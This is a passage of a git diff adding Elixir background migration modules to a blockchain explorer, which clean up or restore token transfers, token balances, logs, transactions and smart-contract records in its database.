MigrationStatus.get_status(@migration_name) do + "completed" -> + {:stop, :normal, state} + + _ -> + MigrationStatus.set_status(@migration_name, "started") + {:noreply, %{}, {:continue, :ok}} + end + end + + @impl true + def handle_continue(:ok, _state) do + %{ref: ref} = + Task.async(fn -> + Log.stream_unfetched_weth_token_transfers(&enqueue_if_queue_is_not_full/1) + end) + + to_insert = + Application.get_env(:explorer, Explorer.Chain.TokenTransfer)[:whitelisted_weth_contracts] + |> Enum.map(fn contract_address_hash_string -> + if !Token.by_contract_address_hash_exists?(contract_address_hash_string, []) do + %{ + contract_address_hash: contract_address_hash_string, + type: "ERC-20" + } + end + end) + |> Enum.reject(&is_nil/1) + + if !Enum.empty?(to_insert) do + Chain.import(%{tokens: %{params: to_insert}}) + end + + Process.send_after(self(), :migrate, @migration_timeout) + + {:noreply, %{queue: [], current_concurrency: 0, stream_ref: ref, stream_is_over: false}} + end + + defp enqueue_if_queue_is_not_full(log) do + if GenServer.call(__MODULE__, :not_full?) do + GenServer.cast(__MODULE__, {:append_to_queue, log}) + else + :timer.sleep(@enqueue_busy_waiting_timeout) + + enqueue_if_queue_is_not_full(log) + end + end + + @impl true + def handle_call(:not_full?, _from, %{queue: queue} = state) do + {:reply, Enum.count(queue) < max_queue_size(), state} + end + + @impl true + def handle_cast({:append_to_queue, log}, %{queue: queue} = state) do + {:noreply, %{state | queue: [log | queue]}} + end + + @impl true + def handle_info(:migrate, %{queue: [], stream_is_over: true, current_concurrency: current_concurrency} = state) do + if current_concurrency > 0 do + {:noreply, state} + else + Logger.info("RestoreOmittedWETHTransfers migration is complete.") + + MigrationStatus.set_status(@migration_name, "completed") + {:stop, :normal, state} + end + end + + # fetch token balances + @impl true + def handle_info(:migrate, %{queue: queue, current_concurrency: current_concurrency} = state) do + if Enum.count(queue) > 0 and current_concurrency < concurrency() do + to_take = batch_size() * (concurrency() - current_concurrency) + {to_process, remainder} = Enum.split(queue, to_take) + + spawned_tasks = + to_process + |> Enum.chunk_every(batch_size()) + |> Enum.map(fn batch -> + run_task(batch) + end) + + if Enum.empty?(remainder) do + Process.send_after(self(), :migrate, migration_timeout()) + else + Process.send(self(), :migrate, []) + end + + {:noreply, %{state | queue: remainder, current_concurrency: current_concurrency + Enum.count(spawned_tasks)}} + else + Process.send_after(self(), :migrate, migration_timeout()) + {:noreply, state} + end + end + + @impl true + def handle_info({ref, _answer}, %{stream_ref: ref} = state) do + {:noreply, %{state | stream_is_over: true}} + end + + @impl true + def handle_info({ref, _answer}, %{current_concurrency: counter} = state) do + Process.demonitor(ref, [:flush]) + Process.send(self(), :migrate, []) + {:noreply, %{state | current_concurrency: counter - 1}} + end + + @impl true + def handle_info({:DOWN, ref, :process, _pid, _reason}, %{stream_ref: ref} = state) do + {:noreply, %{state | stream_is_over: true}} + end + + @impl true + def handle_info({:DOWN, _ref, :process, _pid, _reason}, %{current_concurrency: counter} = state) do + Process.send(self(), :migrate, []) + {:noreply, %{state | current_concurrency: counter - 1}} + end + + defp migrate_batch(batch) do + {token_transfers, token_balances} = + batch + |> Enum.map(fn log -> + with %{second_topic: second_topic, third_topic: nil, fourth_topic: nil, data: data} + when not is_nil(second_topic) <- + log, + [amount] <- Helper.decode_data(data, [{:uint, 256}]) do + {from_address_hash, to_address_hash, balance_address_hash} = + if log.first_topic == TokenTransfer.weth_deposit_signature() do + to_address_hash = Helper.truncate_address_hash(to_string(second_topic)) + {burn_address_hash_string(), to_address_hash, to_address_hash} + else + from_address_hash = Helper.truncate_address_hash(to_string(second_topic)) + {from_address_hash, burn_address_hash_string(), from_address_hash} + end + + token_transfer = %{ + amount: Decimal.new(amount || 0), + block_number: log.block_number, + block_hash: log.block_hash, + log_index: log.index, + from_address_hash: from_address_hash, + to_address_hash: to_address_hash, + token_contract_address_hash: log.address_hash, + transaction_hash: log.transaction_hash, + token_ids: nil, + token_type: "ERC-20" + } + + token_balance = %{ + address_hash: balance_address_hash, + token_contract_address_hash: log.address_hash, + block_number: log.block_number, + token_id: nil, + token_type: "ERC-20" + } + + {token_transfer, token_balance} + else + _ -> + Logger.error( + "Failed to decode log: (transaction_hash, block_hash, index) = #{to_string(log.transaction_hash)}, #{to_string(log.block_hash)}, #{to_string(log.index)}" + ) + + nil + end + end) + |> Enum.reject(&is_nil/1) + |> Enum.unzip() + + current_token_balances = + token_balances + |> Enum.group_by(fn %{ + address_hash: address_hash, + token_contract_address_hash: token_contract_address_hash + } -> + {address_hash, token_contract_address_hash} + end) + |> Enum.map(fn {_, grouped_address_token_balances} -> + Enum.max_by(grouped_address_token_balances, fn %{block_number: block_number} -> block_number end) + end) + |> Enum.sort_by(&{&1.token_contract_address_hash, &1.address_hash}) + + if !Enum.empty?(token_transfers) do + Chain.import(%{ + token_transfers: %{params: token_transfers}, + address_token_balances: %{params: token_balances}, + address_current_token_balances: %{ + params: current_token_balances + } + }) + end + end + + defp run_task(batch) do + Task.Supervisor.async_nolink(Explorer.WETHMigratorSupervisor, fn -> + migrate_batch(batch) + end) + end + + defp check_token_types(token_address_hashes) do + token_address_hashes + |> Chain.get_token_types() + |> Enum.reduce(true, fn {token_hash, token_type}, acc -> + if token_type == "ERC-20" do + acc + else + Logger.error("Wrong token type of #{to_string(token_hash)}: #{token_type}") + false + end + end) + end + + def concurrency, do: Application.get_env(:explorer, __MODULE__)[:concurrency] + + def batch_size, do: Application.get_env(:explorer, __MODULE__)[:batch_size] + + def migration_timeout, do: Application.get_env(:explorer, __MODULE__)[:timeout] + + def max_queue_size, do: concurrency() * batch_size() * 2 +end diff --git a/apps/explorer/lib/explorer/migrator/sanitize_duplicate_smart_contract_additional_sources.ex b/apps/explorer/lib/explorer/migrator/sanitize_duplicate_smart_contract_additional_sources.ex new file mode 100644 index 000000000000..d3ac807cd6af --- /dev/null +++ b/apps/explorer/lib/explorer/migrator/sanitize_duplicate_smart_contract_additional_sources.ex @@ -0,0 +1,60 @@ +defmodule Explorer.Migrator.SanitizeDuplicateSmartContractAdditionalSources do + @moduledoc """ + Sanitizes the smart_contract_additional_sources table by removing duplicates. + """ + + use Explorer.Migrator.FillingMigration + + import Ecto.Query + + alias Explorer.Chain.SmartContractAdditionalSource + alias Explorer.Migrator.FillingMigration + alias Explorer.Repo + + @migration_name "sanitize_duplicate_smart_contract_additional_sources" + + @impl FillingMigration + def migration_name, do: @migration_name + + @impl FillingMigration + def last_unprocessed_identifiers(state) do + limit = batch_size() * concurrency() + + ids = + unprocessed_data_query() + |> select([t], t.id) + |> limit(^limit) + |> Repo.all(timeout: :infinity) + + {ids, state} + end + + @impl FillingMigration + def unprocessed_data_query do + query = + from(sc in SmartContractAdditionalSource, + select: %{ + id: sc.id, + rn: + fragment( + "ROW_NUMBER() OVER (PARTITION BY ?, ? ORDER BY ?)", + sc.address_hash, + sc.file_name, + sc.id + ) + } + ) + + from(t in subquery(query), where: t.rn > 1) + end + + @impl FillingMigration + def update_batch(ids) do + SmartContractAdditionalSource + |> where([sc], sc.id in ^ids) + |> Repo.delete_all(timeout: :infinity) + end + + @impl FillingMigration + def update_cache, do: :ok +end diff --git a/apps/explorer/lib/explorer/migrator/sanitize_duplicated_log_index_logs.ex b/apps/explorer/lib/explorer/migrator/sanitize_duplicated_log_index_logs.ex new file mode 100644 index 000000000000..3e5c11fd7975 --- /dev/null +++ b/apps/explorer/lib/explorer/migrator/sanitize_duplicated_log_index_logs.ex @@ -0,0 +1,198 @@ +defmodule Explorer.Migrator.SanitizeDuplicatedLogIndexLogs do + @moduledoc """ + This module is responsible for sanitizing duplicate log index entries in the database. + The migration process includes identifying duplicate log indexes and updating the related token transfers and token instances accordingly. + """ + + use Explorer.Migrator.FillingMigration + + import Ecto.Query + + alias Explorer.Chain.Cache.BackgroundMigrations + alias Explorer.Chain.{Log, TokenTransfer} + alias Explorer.Chain.Token.Instance + alias Explorer.Migrator.FillingMigration + alias Explorer.{QueryHelper, Repo} + + require Logger + + @migration_name "sanitize_duplicated_log_index_logs" + + @impl FillingMigration + def migration_name, do: @migration_name + + @impl FillingMigration + def last_unprocessed_identifiers(state) do + block_number = state[:block_number_to_process] || 0 + + limit = batch_size() * concurrency() + + ids = + block_number + |> unprocessed_data_query(block_number + limit) + |> Repo.all(timeout: :infinity) + |> Enum.group_by(& &1.block_hash) + |> Map.to_list() + + {ids, Map.put(state, :block_number_to_process, block_number + limit)} + end + + @doc """ + Stub implementation to satisfy FillingMigration behaviour + """ + @impl FillingMigration + @spec unprocessed_data_query() :: nil + def unprocessed_data_query do + nil + end + + def unprocessed_data_query(block_number_start, block_number_end) do + Log + |> where([l], l.block_number >= ^block_number_start and l.block_number < ^block_number_end) + end + + @impl FillingMigration + @doc """ + Updates a batch of logs grouped by block. + + ## Parameters + + - logs_by_block: A map where the keys are block identifiers and the values are lists of logs associated with those blocks. + + ## Returns + + :ok + """ + def update_batch(logs_by_block) do + logs_to_update = + logs_by_block + |> Enum.map(&process_block/1) + |> Enum.reject(&(&1 == :ignore)) + |> List.flatten() + + {ids, logs, ids_to_new_index} = + logs_to_update + |> Enum.reduce({[], [], %{}}, fn {log, new_index}, {ids, logs, ids_to_new_index} -> + id = {log.transaction_hash, log.block_hash, log.index} + + {[id | ids], + [ + %Log{log | index: new_index} |> Map.from_struct() |> Map.drop([:block, :address, :transaction, :__meta__]) + | logs + ], Map.put(ids_to_new_index, id, new_index)} + end) + + prepared_ids = + Enum.map(ids, fn {transaction_hash, block_hash, log_index} -> + {transaction_hash.bytes, block_hash.bytes, log_index} + end) + + Repo.transaction(fn -> + Log + |> where( + [log], + ^QueryHelper.tuple_in([:transaction_hash, :block_hash, :index], prepared_ids) + ) + |> Repo.delete_all(timeout: :infinity) + + {_, token_transfers} = + TokenTransfer + |> where( + [token_transfer], + ^QueryHelper.tuple_in([:transaction_hash, :block_hash, :log_index], prepared_ids) + ) + |> select([token_transfer], token_transfer) + |> Repo.delete_all(timeout: :infinity) + + Repo.insert_all(Log, logs, timeout: :infinity) + + token_transfers + |> Enum.map(fn token_transfer -> + id = token_transfer_to_index(token_transfer) + + %TokenTransfer{token_transfer | log_index: ids_to_new_index[id]} + |> Map.from_struct() + |> Map.drop([ + :token_id, + :index_in_batch, + :reverse_index_in_batch, + :token_decimals, + :from_address, + :to_address, + :token_contract_address, + :block, + :instances, + :token, + :transaction, + :token_instance, + :__meta__ + ]) + end) + |> (&Repo.insert_all(TokenTransfer, &1, timeout: :infinity)).() + + nft_instances_params = + token_transfers + |> Enum.filter(&(&1.token_type == "ERC-721")) + |> Enum.map(fn token_transfer -> {token_transfer.block_number, token_transfer.log_index} end) + + nft_updates_map = + token_transfers + |> Enum.filter(&(&1.token_type == "ERC-721" && &1.block_consensus)) + |> Enum.reduce(%{}, fn token_transfer, acc -> + id = token_transfer_to_index(token_transfer) + Map.put(acc, {token_transfer.block_number, token_transfer.log_index}, ids_to_new_index[id]) + end) + + Instance + |> where( + [nft], + ^QueryHelper.tuple_in([:owner_updated_at_block, :owner_updated_at_log_index], nft_instances_params) + ) + |> Repo.all(timeout: :infinity) + |> Enum.map(fn nft -> + %Instance{ + nft + | owner_updated_at_log_index: nft_updates_map[{nft.owner_updated_at_block, nft.owner_updated_at_log_index}] + } + |> Map.from_struct() + |> Map.drop([ + :current_token_balance, + :is_unique, + :owner, + :token, + :__meta__ + ]) + end) + |> (&Repo.insert_all(Instance, &1, + conflict_target: [:token_contract_address_hash, :token_id], + on_conflict: {:replace, [:owner_updated_at_log_index]}, + timeout: :infinity + )).() + end) + + :ok + end + + defp process_block({block_hash, logs}) do + if logs |> Enum.frequencies_by(& &1.index) |> Map.values() |> Enum.max() == 1 do + :ignore + else + Logger.error("Found logs with same index within one block: #{block_hash} in DB") + + logs = Repo.preload(logs, :transaction) + + logs + |> Enum.sort_by(&{&1.transaction.index, &1.index, &1.transaction_hash}) + |> Enum.with_index(&{&1, &2}) + end + end + + @impl FillingMigration + def update_cache do + BackgroundMigrations.set_sanitize_duplicated_log_index_logs_finished(true) + end + + defp token_transfer_to_index(token_transfer) do + {token_transfer.transaction_hash, token_transfer.block_hash, token_transfer.log_index} + end +end diff --git a/apps/explorer/lib/explorer/migrator/sanitize_empty_contract_code_addresses.ex b/apps/explorer/lib/explorer/migrator/sanitize_empty_contract_code_addresses.ex new file mode 100644 index 000000000000..5e500e03794f --- /dev/null +++ b/apps/explorer/lib/explorer/migrator/sanitize_empty_contract_code_addresses.ex @@ -0,0 +1,60 @@ +defmodule Explorer.Migrator.SanitizeEmptyContractCodeAddresses do + @moduledoc """ + Migration that sets contract code to `"0x"` for addresses where contract code + equals `null`. + + This fixes data representation for addresses of smart contracts that actually + don't have any code deployed. + """ + + use Explorer.Migrator.FillingMigration + + import Ecto.Query + + alias Explorer.Chain.{Address, Data, Transaction} + alias Explorer.Migrator.FillingMigration + alias Explorer.Repo + + @migration_name "sanitize_empty_contract_code_addresses" + + @empty_contract_code %Data{bytes: ""} + + @impl FillingMigration + def migration_name, do: @migration_name + + @impl FillingMigration + def last_unprocessed_identifiers(state) do + limit = batch_size() * concurrency() + + ids = + unprocessed_data_query() + |> select([a], a.hash) + |> limit(^limit) + |> Repo.all(timeout: :infinity) + + {ids, state} + end + + @impl FillingMigration + def unprocessed_data_query do + from(a in Address, + join: t in Transaction, + on: a.hash == t.created_contract_address_hash, + where: is_nil(a.contract_code) and t.status == :error + ) + end + + @impl FillingMigration + def update_batch(address_hashes) do + query = + from(a in Address, + where: a.hash in ^address_hashes, + update: [set: [contract_code: ^@empty_contract_code]] + ) + + Repo.update_all(query, [], timeout: :infinity) + end + + @impl FillingMigration + def update_cache, do: :ok +end diff --git a/apps/explorer/lib/explorer/migrator/sanitize_erc_1155_token_balances_without_token_ids.ex b/apps/explorer/lib/explorer/migrator/sanitize_erc_1155_token_balances_without_token_ids.ex new file mode 100644 index 000000000000..1c561e1dc4ec --- /dev/null +++ b/apps/explorer/lib/explorer/migrator/sanitize_erc_1155_token_balances_without_token_ids.ex @@ -0,0 +1,50 @@ +defmodule Explorer.Migrator.SanitizeErc1155TokenBalancesWithoutTokenIds do + @moduledoc """ + Deletes token balances of ERC-1155 tokens with empty token_id. + """ + + use Explorer.Migrator.FillingMigration + + import Ecto.Query + + alias Explorer.Chain.Address.TokenBalance + alias Explorer.Migrator.FillingMigration + alias Explorer.Repo + + @migration_name "sanitize_erc_1155_token_balances_without_token_ids" + + @impl FillingMigration + def migration_name, do: @migration_name + + @impl FillingMigration + def last_unprocessed_identifiers(state) do + limit = batch_size() * concurrency() + + ids = + unprocessed_data_query() + |> select([tb], tb.id) + |> limit(^limit) + |> Repo.all(timeout: :infinity) + + {ids, state} + end + + @impl FillingMigration + def unprocessed_data_query do + from( + tb in TokenBalance, + join: t in assoc(tb, :token), + where: tb.token_type == ^"ERC-1155" and t.type == ^"ERC-1155" and is_nil(tb.token_id) + ) + end + + @impl FillingMigration + def update_batch(token_balance_ids) do + query = from(tb in TokenBalance, where: tb.id in ^token_balance_ids) + + Repo.delete_all(query, timeout: :infinity) + end + + @impl FillingMigration + def update_cache, do: :ok +end diff --git a/apps/explorer/lib/explorer/migrator/sanitize_incorrect_nft_token_transfers.ex b/apps/explorer/lib/explorer/migrator/sanitize_incorrect_nft_token_transfers.ex new file mode 100644 index 000000000000..cfe7b6c5de8a --- /dev/null +++ b/apps/explorer/lib/explorer/migrator/sanitize_incorrect_nft_token_transfers.ex @@ -0,0 +1,162 @@ +defmodule Explorer.Migrator.SanitizeIncorrectNFTTokenTransfers do + @moduledoc """ + Delete all token transfers of ERC-721 tokens with deposit/withdrawal signatures + Delete all token transfers of ERC-1155 tokens with empty amount, amounts and token_ids + Send blocks containing token transfers of ERC-721 tokens with empty token_ids to re-fetch + """ + + use GenServer, restart: :transient + + import Ecto.Query + + require Logger + + alias Explorer.Chain.{Block, Log, Token, TokenTransfer} + alias Explorer.Migrator.MigrationStatus + alias Explorer.Repo + + @migration_name "sanitize_incorrect_nft" + @default_batch_size 500 + + def start_link(_) do + GenServer.start_link(__MODULE__, :ok, name: __MODULE__) + end + + @impl true + def init(_) do + {:ok, %{}, {:continue, :ok}} + end + + @impl true + def handle_continue(:ok, state) do + case MigrationStatus.fetch(@migration_name) do + %{status: "completed"} -> + {:stop, :normal, state} + + status -> + state = (status && status.meta) || %{"step" => "delete_erc_721"} + + if is_nil(status) do + MigrationStatus.set_status(@migration_name, "started") + MigrationStatus.update_meta(@migration_name, state) + end + + schedule_batch_migration(0) + {:noreply, state} + end + end + + @impl true + def handle_info(:migrate_batch, %{"step" => step} = state) do + case last_unprocessed_identifiers(step) do + [] -> + case step do + "delete_erc_721" -> + Logger.info("SanitizeIncorrectNFTTokenTransfers `delete_erc_721` step is finished") + + schedule_batch_migration() + + new_state = %{"step" => "delete_erc_1155"} + MigrationStatus.update_meta(@migration_name, new_state) + + {:noreply, new_state} + + "delete_erc_1155" -> + Logger.info("SanitizeIncorrectNFTTokenTransfers `delete_erc_1155` step is finished") + + schedule_batch_migration() + + new_state = %{"step" => "refetch"} + MigrationStatus.update_meta(@migration_name, new_state) + + {:noreply, new_state} + + "refetch" -> + Logger.info("SanitizeIncorrectNFTTokenTransfers migration finished") + + MigrationStatus.set_status(@migration_name, "completed") + MigrationStatus.set_meta(@migration_name, nil) + + {:stop, :normal, state} + end + + identifiers -> + identifiers + |> Enum.chunk_every(batch_size()) + |> Enum.map(&run_task(&1, step)) + |> Task.await_many(:infinity) + + schedule_batch_migration() + + {:noreply, state} + end + end + + defp last_unprocessed_identifiers(step) do + limit = batch_size() * concurrency() + + step + |> unprocessed_identifiers() + |> limit(^limit) + |> Repo.all(timeout: :infinity) + end + + defp unprocessed_identifiers("delete_erc_721") do + base_query = from(log in Log, as: :log) + + logs_query = + base_query + |> where(^Log.first_topic_is_deposit_or_withdrawal_signature()) + |> join(:left, [log], token in Token, on: log.address_hash == token.contract_address_hash) + |> where([log, token], token.type == ^"ERC-721") + |> select([log], %{block_hash: log.block_hash, transaction_hash: log.transaction_hash, index: log.index}) + + TokenTransfer + |> select([tt], {tt.transaction_hash, tt.block_hash, tt.log_index}) + |> join(:inner, [tt], log in subquery(logs_query), + on: tt.block_hash == log.block_hash and tt.transaction_hash == log.transaction_hash and tt.log_index == log.index + ) + end + + defp unprocessed_identifiers("delete_erc_1155") do + TokenTransfer + |> select([tt], {tt.transaction_hash, tt.block_hash, tt.log_index}) + |> where([tt], tt.token_type == ^"ERC-1155" and is_nil(tt.amount) and is_nil(tt.amounts) and is_nil(tt.token_ids)) + end + + defp unprocessed_identifiers("refetch") do + from( + tt in TokenTransfer, + join: b in assoc(tt, :block), + where: tt.token_type == ^"ERC-721" and is_nil(tt.token_ids), + where: b.consensus == true, + where: b.refetch_needed == false, + select: tt.block_number, + distinct: tt.block_number + ) + end + + defp run_task(batch, step), do: Task.async(fn -> handle_batch(batch, step) end) + + defp handle_batch(block_numbers, "refetch") do + Block.set_refetch_needed(block_numbers) + end + + defp handle_batch(token_transfer_ids, _delete_step) do + query = TokenTransfer.by_ids_query(token_transfer_ids) + + Repo.delete_all(query, timeout: :infinity) + end + + defp schedule_batch_migration(timeout \\ nil) do + Process.send_after(self(), :migrate_batch, timeout || Application.get_env(:explorer, __MODULE__)[:timeout]) + end + + defp batch_size do + Application.get_env(:explorer, __MODULE__)[:batch_size] || @default_batch_size + end + + defp concurrency do + Application.get_env(:explorer, __MODULE__)[:concurrency] + end +end diff --git a/apps/explorer/lib/explorer/migrator/sanitize_incorrect_weth_token_transfers.ex b/apps/explorer/lib/explorer/migrator/sanitize_incorrect_weth_token_transfers.ex new file mode 100644 index 000000000000..98991fea5ffd --- /dev/null +++ b/apps/explorer/lib/explorer/migrator/sanitize_incorrect_weth_token_transfers.ex @@ -0,0 +1,179 @@ +defmodule Explorer.Migrator.SanitizeIncorrectWETHTokenTransfers do + @moduledoc """ + This migrator will delete all incorrect WETH token transfers. As incorrect we consider: + - WETH withdrawals and WETH deposits emitted by tokens which are not in `WHITELISTED_WETH_CONTRACTS` env + - WETH withdrawal or WETH deposit which has sibling token transfer within the same block and transaction, with the same amount, same from and to addresses, same token contract addresses. (We consider such pairs as duplicates) + """ + + use GenServer, restart: :transient + + import Ecto.Query + + require Logger + + alias Explorer.Chain.{Log, TokenTransfer} + alias Explorer.Migrator.MigrationStatus + alias Explorer.Repo + + @migration_name "sanitize_incorrect_weth_transfers" + + def start_link(_) do + GenServer.start_link(__MODULE__, :ok, name: __MODULE__) + end + + @impl true + def init(_) do + {:ok, %{}, {:continue, :ok}} + end + + @impl true + def handle_continue(:ok, state) do + case MigrationStatus.fetch(@migration_name) do + %{status: "completed"} -> + {:stop, :normal, state} + + %{status: "wait_for_enabling_weth_filtering"} -> + if weth_token_transfers_filtering_enabled() do + schedule_batch_migration(0) + MigrationStatus.set_status(@migration_name, "started") + {:noreply, Map.put(state, "step", "delete_not_whitelisted_weth_transfers")} + else + {:stop, :normal, state} + end + + status -> + state = (status && status.meta) || %{"step" => "delete_duplicates"} + + if is_nil(status) do + MigrationStatus.set_status(@migration_name, "started") + MigrationStatus.update_meta(@migration_name, state) + end + + schedule_batch_migration(0) + {:noreply, state} + end + end + + @impl true + def handle_info(:migrate_batch, %{"step" => step} = state) do + if step == "delete_not_whitelisted_weth_transfers" and !weth_token_transfers_filtering_enabled() do + MigrationStatus.set_status(@migration_name, "wait_for_enabling_weth_filtering") + {:stop, :normal, state} + else + process_batch(state) + end + end + + defp process_batch(%{"step" => step} = state) do + case last_unprocessed_identifiers(step) do + [] -> + case step do + "delete_duplicates" -> + Logger.info( + "SanitizeIncorrectWETHTokenTransfers deletion of duplicates finished, continuing with deletion of not whitelisted weth transfers" + ) + + schedule_batch_migration() + + new_state = %{"step" => "delete_not_whitelisted_weth_transfers"} + MigrationStatus.update_meta(@migration_name, new_state) + + {:noreply, new_state} + + "delete_not_whitelisted_weth_transfers" -> + Logger.info( + "SanitizeIncorrectWETHTokenTransfers deletion of not whitelisted weth transfers finished. Sanitizing is completed." + ) + + MigrationStatus.set_status(@migration_name, "completed") + MigrationStatus.set_meta(@migration_name, nil) + + {:stop, :normal, state} + end + + identifiers -> + identifiers + |> Enum.chunk_every(batch_size()) + |> Enum.map(&run_task/1) + |> Task.await_many(:infinity) + + schedule_batch_migration() + + {:noreply, state} + end + end + + defp last_unprocessed_identifiers(step) do + limit = batch_size() * concurrency() + + step + |> unprocessed_identifiers() + |> limit(^limit) + |> Repo.all(timeout: :infinity) + end + + defp unprocessed_identifiers("delete_duplicates") do + weth_transfers = + token_transfers_with_logs_query() + |> where(^Log.first_topic_is_deposit_or_withdrawal_signature()) + + not_weth_transfers = + token_transfers_with_logs_query() + |> where(^Log.first_topic_is_not_deposit_or_withdrawal_signature()) + + from( + weth_tt in subquery(weth_transfers), + inner_join: tt in subquery(not_weth_transfers), + on: weth_tt.block_hash == tt.block_hash and weth_tt.transaction_hash == tt.transaction_hash, + where: + weth_tt.log_index != tt.log_index and weth_tt.token_contract_address_hash == tt.token_contract_address_hash and + weth_tt.to_address_hash == tt.to_address_hash and weth_tt.from_address_hash == tt.from_address_hash and + weth_tt.amount == tt.amount, + select: {weth_tt.transaction_hash, weth_tt.block_hash, weth_tt.log_index} + ) + end + + defp unprocessed_identifiers("delete_not_whitelisted_weth_transfers") do + token_transfers_with_logs_query() + |> where(^Log.first_topic_is_deposit_or_withdrawal_signature()) + |> where([tt], tt.token_contract_address_hash not in ^whitelisted_weth_contracts()) + |> select([tt], {tt.transaction_hash, tt.block_hash, tt.log_index}) + end + + defp token_transfers_with_logs_query do + from( + tt in TokenTransfer, + left_join: l in Log, + as: :log, + on: tt.block_hash == l.block_hash and tt.transaction_hash == l.transaction_hash and tt.log_index == l.index + ) + end + + defp run_task(batch), do: Task.async(fn -> handle_batch(batch) end) + + defp handle_batch(token_transfer_ids) do + query = TokenTransfer.by_ids_query(token_transfer_ids) + + Repo.delete_all(query, timeout: :infinity) + end + + defp schedule_batch_migration(timeout \\ nil) do + Process.send_after(self(), :migrate_batch, timeout || Application.get_env(:explorer, __MODULE__)[:timeout]) + end + + defp batch_size do + Application.get_env(:explorer, __MODULE__)[:batch_size] + end + + defp concurrency do + Application.get_env(:explorer, __MODULE__)[:concurrency] + end + + defp whitelisted_weth_contracts do + Application.get_env(:explorer, Explorer.Chain.TokenTransfer)[:whitelisted_weth_contracts] + end + + defp weth_token_transfers_filtering_enabled do + Application.get_env(:explorer, Explorer.Chain.TokenTransfer)[:weth_token_transfers_filtering_enabled] + end +end diff --git a/apps/explorer/lib/explorer/migrator/sanitize_missing_block_ranges.ex b/apps/explorer/lib/explorer/migrator/sanitize_missing_block_ranges.ex new file mode 100644 index 000000000000..03166816f981 --- /dev/null +++ b/apps/explorer/lib/explorer/migrator/sanitize_missing_block_ranges.ex @@ -0,0 +1,34 @@ +defmodule Explorer.Migrator.SanitizeMissingBlockRanges do + @moduledoc """ + Remove invalid missing block ranges (from_number < to_number and intersecting ones) + """ + + use GenServer, restart: :transient + + alias Explorer.Migrator.MigrationStatus + alias Explorer.Utility.MissingBlockRange + + @migration_name "sanitize_missing_ranges" + + def start_link(_) do + GenServer.start_link(__MODULE__, :ok, name: __MODULE__) + end + + def init(_) do + {:ok, %{}, {:continue, :ok}} + end + + def handle_continue(:ok, state) do + case MigrationStatus.get_status(@migration_name) do + "completed" -> + :ok + + _ -> + MigrationStatus.set_status(@migration_name, "started") + MissingBlockRange.sanitize_missing_block_ranges() + MigrationStatus.set_status(@migration_name, "completed") + end + + {:stop, :normal, state} + end +end diff --git a/apps/explorer/lib/explorer/migrator/sanitize_missing_token_balances.ex b/apps/explorer/lib/explorer/migrator/sanitize_missing_token_balances.ex new file mode 100644 index 000000000000..5ec34fa3bfc4 --- /dev/null +++ b/apps/explorer/lib/explorer/migrator/sanitize_missing_token_balances.ex @@ -0,0 +1,73 @@ +defmodule Explorer.Migrator.SanitizeMissingTokenBalances do + @moduledoc """ + Deletes empty current token balances if the related highest block_number historical token balance is filled. + Set value and value_fetched_at to nil for those token balances so the token balance fetcher could re-fetch them. + """ + + use Explorer.Migrator.FillingMigration + + import Ecto.Query + + alias Explorer.Chain.Address.{CurrentTokenBalance, TokenBalance} + alias Explorer.Migrator.FillingMigration + alias Explorer.Repo + + @migration_name "sanitize_missing_token_balances" + + @impl FillingMigration + def migration_name, do: @migration_name + + @impl FillingMigration + def last_unprocessed_identifiers(state) do + limit = batch_size() * concurrency() + + ids = + unprocessed_data_query() + |> select([ctb, tb], {ctb.id, tb.id}) + |> limit(^limit) + |> Repo.all(timeout: :infinity) + + {ids, state} + end + + @impl FillingMigration + def unprocessed_data_query do + from( + ctb in CurrentTokenBalance, + join: tb in TokenBalance, + on: + ctb.address_hash == tb.address_hash and + ctb.token_contract_address_hash == tb.token_contract_address_hash and + ((is_nil(ctb.token_id) and is_nil(tb.token_id)) or ctb.token_id == tb.token_id), + where: is_nil(ctb.value) or is_nil(ctb.value_fetched_at), + where: not is_nil(tb.value) and not is_nil(tb.value_fetched_at), + distinct: ctb.id, + order_by: [asc: ctb.id, desc: tb.block_number] + ) + end + + @impl FillingMigration + def update_batch(identifiers) do + {ctb_ids, tb_ids} = + Enum.reduce(identifiers, {[], []}, fn {ctb_id, tb_id}, {ctb_acc, tb_acc} -> + {[ctb_id | ctb_acc], [tb_id | tb_acc]} + end) + + Repo.transaction(fn -> + ctb_query = from(ctb in CurrentTokenBalance, where: ctb.id in ^ctb_ids) + + Repo.delete_all(ctb_query, timeout: :infinity) + + tb_query = + from(tb in TokenBalance, + where: tb.id in ^tb_ids, + update: [set: [value: nil, value_fetched_at: nil]] + ) + + Repo.update_all(tb_query, [], timeout: :infinity) + end) + end + + @impl FillingMigration + def update_cache, do: :ok +end diff --git a/apps/explorer/lib/explorer/migrator/sanitize_replaced_transactions.ex b/apps/explorer/lib/explorer/migrator/sanitize_replaced_transactions.ex new file mode 100644 index 000000000000..5b92f7176d3d --- /dev/null +++ b/apps/explorer/lib/explorer/migrator/sanitize_replaced_transactions.ex @@ -0,0 +1,46 @@ +defmodule Explorer.Migrator.SanitizeReplacedTransactions do + @moduledoc """ + Cleans the transactions that are related to non-consensus blocks. + """ + + use Explorer.Migrator.FillingMigration + + import Ecto.Query + + alias Explorer.Chain.Transaction + alias Explorer.Migrator.FillingMigration + alias Explorer.Repo + + @migration_name "sanitize_replaced_transactions" + + @impl FillingMigration + def migration_name, do: @migration_name + + @impl FillingMigration + def last_unprocessed_identifiers(state) do + limit = batch_size() * concurrency() + + ids = + unprocessed_data_query() + |> select([t], t.hash) + |> limit(^limit) + |> Repo.all(timeout: :infinity) + + {ids, state} + end + + @impl FillingMigration + def unprocessed_data_query do + from(t in Transaction, where: t.block_consensus == false) + end + + @impl FillingMigration + def update_batch(transaction_hashes) do + query = from(t in Transaction, where: t.hash in ^transaction_hashes) + + Repo.delete_all(query, timeout: :infinity) + end + + @impl FillingMigration + def update_cache, do: :ok +end diff --git a/apps/explorer/lib/explorer/migrator/sanitize_verified_addresses.ex b/apps/explorer/lib/explorer/migrator/sanitize_verified_addresses.ex new file mode 100644 index 000000000000..6dc7d5e38d8f --- /dev/null +++ b/apps/explorer/lib/explorer/migrator/sanitize_verified_addresses.ex @@ -0,0 +1,151 @@ +defmodule Explorer.Migrator.SanitizeVerifiedAddresses do + @moduledoc """ + Sets `verified` field to `true` for all addresses that have a corresponding + entry in `smart_contracts` table. + + NOTE: This migrator runs on every application start. The migration (re)starts + if any unprocessed data appeared (or still present) in the database. + """ + + use GenServer, restart: :transient + + import Ecto.Query + + alias Explorer.Chain.{Address, SmartContract} + alias Explorer.Chain.Cache.BackgroundMigrations + alias Explorer.Repo + + def unprocessed_data_query do + from(address in Address, + join: smart_contract in SmartContract, + on: address.hash == 